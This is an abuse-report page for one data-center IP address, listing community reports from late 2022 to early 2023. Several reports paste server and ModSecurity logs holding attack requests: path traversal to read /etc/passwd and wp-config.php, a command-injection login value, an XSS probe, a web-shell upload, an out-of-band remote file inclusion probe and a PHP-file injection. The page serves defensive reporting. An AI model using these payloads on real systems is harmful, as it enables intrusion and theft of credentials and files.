JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

154.204.45.4

Neutral Activity

Abuse Confidence Score

0% Low Risk

68 reports

11 reporters · latest 3 years ago

ISP: Cloud Innovation Ltd
Usage Type: Data Center/Web Hosting/Transit
ASN: AS17561
Domain Name: cloudinnovation.org
Country: 🇺🇸 United States of America
City: Los Angeles, California

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

154.204.45.4 has been reported 68 times. The most recent report is from 3 years ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

Abuse Reports

Export reports CSV

Total reports

68 from 11 distinct reporters

First reported

November 21st 2022

Most recent report

3 years ago

Reporter	IoA Timestamp (UTC)	Comment	Categories
Anonymous	2023-01-23 09:13:57 UTC · (3 years ago)	General scanning observed in manual log review.	Web App Attack
🇺🇸 evlhomer	2023-01-18 12:05:14 UTC · (3 years ago)	Exploited Host	Exploited Host
🇸🇪 mr_whitehat	2023-01-17 00:35:44 UTC · (3 years ago)	Probed for vulnerable web application: request line: /remote/fgt_lang (Possible exploit:Fortinet VPN server exploit: CVE-2018-13379)	Web App Attack
🇧🇪 webbie	2023-01-16 17:54:38 UTC · (3 years ago)	154.204.45.4 - - [16/Jan/2023:18:53:48 +0100] "GET /wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd HTTP/1.1" 403 5106 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like G ... show more 154.204.45.4 - - [16/Jan/2023:18:53:48 +0100] "GET /wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd HTTP/1.1" 403 5106 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 154.204.45.4 - - [16/Jan/2023:18:54:29 +0100] "GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW= HTTP/1.1" 403 5106 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 154.204.45.4 - - [16/Jan/2023:18:54:30 +0100] "GET /cgi-bin/login?LD_DEBUG=files HTTP/1.1" 404 5103 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 154.204.45.4 - - [16/Jan/2023:18:54:30 +0100] "POST /php/ping.php HTTP/1.1" 403 5106 "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" 154.204.45.4 - - [16/Jan/2023:18:54:3 ... show less	Brute-Force Web App Attack
Anonymous	2023-01-11 00:54:14 UTC · (3 years ago)	port scan and connect, tcp 443 (https)	Port Scan
🇧🇷 AC - Team	2023-01-02 06:24:35 UTC · (3 years ago)	154.204.45.4 - - [02/Jan/2023:08:24:34 -0300] "GET /index.php?option=com_dioneformwizard&controller=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 3176 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrom ... show more 154.204.45.4 - - [02/Jan/2023:08:24:34 -0300] "GET /index.php?option=com_dioneformwizard&controller=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 3176 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" ... show less	Hacking Web App Attack
🇧🇷 AC - Team	2022-12-29 17:39:30 UTC · (3 years ago)	154.204.45.4 - - [29/Dec/2022:19:39:29 -0300] "GET /ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg HTTP/1.1" 403 4210 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, ... show more 154.204.45.4 - - [29/Dec/2022:19:39:29 -0300] "GET /ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg HTTP/1.1" 403 4210 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" ... show less	Hacking Web App Attack
🇧🇷 AC - Team	2022-12-26 06:47:51 UTC · (3 years ago)	154.204.45.4 - - [26/Dec/2022:08:47:50 -0300] "GET /wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery HTTP/1.1" 404 512 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome ... show more 154.204.45.4 - - [26/Dec/2022:08:47:50 -0300] "GET /wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery HTTP/1.1" 404 512 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" ... show less	Hacking Web App Attack
🇧🇷 AC - Team	2022-12-24 06:37:25 UTC · (3 years ago)	154.204.45.4 - - [24/Dec/2022:08:37:24 -0300] "GET /cgi-bin/operator/fileread?READ.filePath=/etc/passwd HTTP/1.1" 403 396 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" .. ... show more 154.204.45.4 - - [24/Dec/2022:08:37:24 -0300] "GET /cgi-bin/operator/fileread?READ.filePath=/etc/passwd HTTP/1.1" 403 396 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" ... show less	Hacking Web App Attack
🇮🇩 hermawan	2022-12-01 13:08:30 UTC · (3 years ago)	[Fri Dec 02 01:03:14.880547 2022] [-:error] [pid 1464728:tid 139857420449344] [client 154.204.45.4:42526] [client 154.204.45.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match ".\\\\.(?:jsp\|jspx)\\\\.$" at FILES:name. [file "/etc/ ... show more [Fri Dec 02 01:03:14.880547 2022] [-:error] [pid 1464728:tid 139857420449344] [client 154.204.45.4:42526] [client 154.204.45.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match ".\\\\.(?:jsp\|jspx)\\\\.$" at FILES:name. [file "/etc/modsecurity/coreruleset-3.3.4/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "181"] [id "944140"] [msg "Java Injection Attack: Java Script File Upload Found"] [data "Matched Data: ../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/root/2hqcloq8nmnyjvvbsmug4rlqatx.jsp found within FILES:name: ../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/root/2hqcloq8nmnyjvvbsmug4rlqatx.jsp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-injection-java"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "staklim-jatim.bmkg.go.id"] [uri "/api/content/"] [unique_id "Y4jsYkIo2IOMGslnmoIHIwAAAak"] [staklim-jatim.b ... show less	Hacking Web App Attack
🇮🇩 RasyiidWho	2022-11-30 20:13:35 UTC · (3 years ago)	ip112.20 . 154.204.45.4 - - [01/Dec/2022:08:13:34 +0700] "POST /wp-login.php HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" ...	DDoS Attack Port Scan Brute-Force Bad Web Bot Web App Attack SSH
🇮🇩 RasyiidWho	2022-11-29 19:30:37 UTC · (3 years ago)	ip112.20 . 154.204.45.4 - - [30/Nov/2022:07:30:36 +0700] "GET /wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)> HTTP/1.1" 403 746 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/ ... show more ip112.20 . 154.204.45.4 - - [30/Nov/2022:07:30:36 +0700] "GET /wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)> HTTP/1.1" 403 746 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36" ... show less	DDoS Attack Port Scan Brute-Force Bad Web Bot Web App Attack SSH
🇮🇩 hermawan	2022-11-29 12:50:21 UTC · (3 years ago)	[Wed Nov 30 00:32:59.847088 2022] [-:error] [pid 9555:tid 139859481413184] [client 154.204.45.4:41698] [client 154.204.45.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c\|(?:%(?:c(?:0%(?:[2aq]f\|5c\|9v)\|1%(?:[19p]c\|8 ... show more [Wed Nov 30 00:32:59.847088 2022] [-:error] [pid 9555:tid 139859481413184] [client 154.204.45.4:41698] [client 154.204.45.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c\|(?:%(?:c(?:0%(?:[2aq]f\|5c\|9v)\|1%(?:[19p]c\|8s\|af))\|2(?:5(?:c(?:0%25af\|1%259c)\|2f\|5c)\|%46\|f)\|(?:(?:f(?:8%8)?0%8\|e)0%80%a\|bg%q)f\|%3(?:2(?:%(?:%6\|4)6\|F)\|5%%63)\|u(?:221[56]\|002f\|EFC8\|F025)\|1u\|5c)\|0x(?:2f\|5c)\|\\\\/))(?:%(?:(?:f(?:(?:c%80\|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/modsecurity/coreruleset-3.3.4/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "52"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "staklim-jatim.bm ... show less	Hacking Web App Attack
🇮🇩 hermawan	2022-11-29 11:44:00 UTC · (3 years ago)	[Tue Nov 29 23:43:58.521309 2022] [-:error] [pid 13790:tid 140403002336832] [client 154.204.45.4:37686] [client 154.204.45.4] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith .%{request_headers.host}" against "TX:rfi_parameter_A ... show more [Tue Nov 29 23:43:58.521309 2022] [-:error] [pid 13790:tid 140403002336832] [client 154.204.45.4:37686] [client 154.204.45.4] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith .%{request_headers.host}" against "TX:rfi_parameter_ARGS:url" required. [file "/etc/modsecurity/coreruleset-3.3.4/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "135"] [id "931130"] [msg "Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link"] [data "Matched Data: https://cdtff9mp97iar6o0001041r65wgsp4qa4.oast.fun found within TX:rfi_parameter_ARGS:url: .cdtff9mp97iar6o0001041r65wgsp4qa4.oast.fun"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS"] [tag "capec/1000/152/175/253"] [tag "paranoia-level/2"] [hostname "staklim-jatim.bmkg.go.id"] [uri "/ui/vcav-bootstrap/rest/vcav-providers/provider-logo"] [unique_id "Y4Y2zv-BWxTnp5LFOeBWyAAAAEo"] [staklim-jatim.bmkg.go.id ... show less	Hacking Web App Attack
🇮🇩 hermawan	2022-11-29 02:18:25 UTC · (3 years ago)	[Tue Nov 29 14:18:22.908588 2022] [-:error] [pid 12211:tid 140469341484608] [client 154.204.45.4:51406] [client 154.204.45.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:;\|\\\\{\|\\\\\|\|\\\\\|\\\\\|\|&\|&&\|\\\\n\|\\\\r\|\\\\$\\\$\|\ ... show more [Tue Nov 29 14:18:22.908588 2022] [-:error] [pid 12211:tid 140469341484608] [client 154.204.45.4:51406] [client 154.204.45.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:;\|\\\\{\|\\\\\|\|\\\\\|\\\\\|\|&\|&&\|\\\\n\|\\\\r\|\\\\$\\\\(\|\\\\$\\\\(\\\\(\|`\|\\\\${\|<\\\\(\|>\\\\(\|\\\\(\\\\s\\\$)\\\\s(?:{\|\\\\s\\\$\\\\s\|\\\\w+=(?:[^\\\\s]\|\\\\$.\|\\\\$.\|<.\|>.\|\\\\'.\\\\'\|\\".\\")\\\\s+\|!\\\\s\|\\\\$)\\\\s(?:'\|\\")(?:[\\\\?\\\\\\\\[\\\\]\\\\(\\\$\\\\-\\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"](?:s[\\\\\\\\'\\"] ..." at ARGS:REINDEX:phpcli. [file "/etc/modsecurity/coreruleset-3.3.4/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "163"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; php found within ARGS:REINDEX:phpcli: echo \\x22<?php phpinfo();\\x22 > /var/www/html/magmi/web/info.php; php "] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix" ... show less	Hacking Web App Attack

Showing 1 to 15 of 68 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇸🇪 185.213.154.223

🇧🇷 179.221.49.102

🇧🇷 168.90.33.155

🇪🇨 157.100.189.40

🇺🇸 140.235.170.241

🇻🇳 115.78.96.180

🇧🇩 103.179.112.33

🇺🇸 98.157.226.99

🇰🇷 61.73.190.98

🇩🇪 2a02:c202:2359:6281::1

🇺🇸 216.25.90.126

🇫🇮 193.187.110.160

🇨🇳 180.153.236.234

🇮🇹 172.213.26.234

🇵🇱 172.69.155.221

🇳🇱 109.160.32.178

🇩🇿 105.96.53.240

🇳🇴 85.165.130.77

🇫🇷 78.155.152.231

🇳🇱 77.239.124.66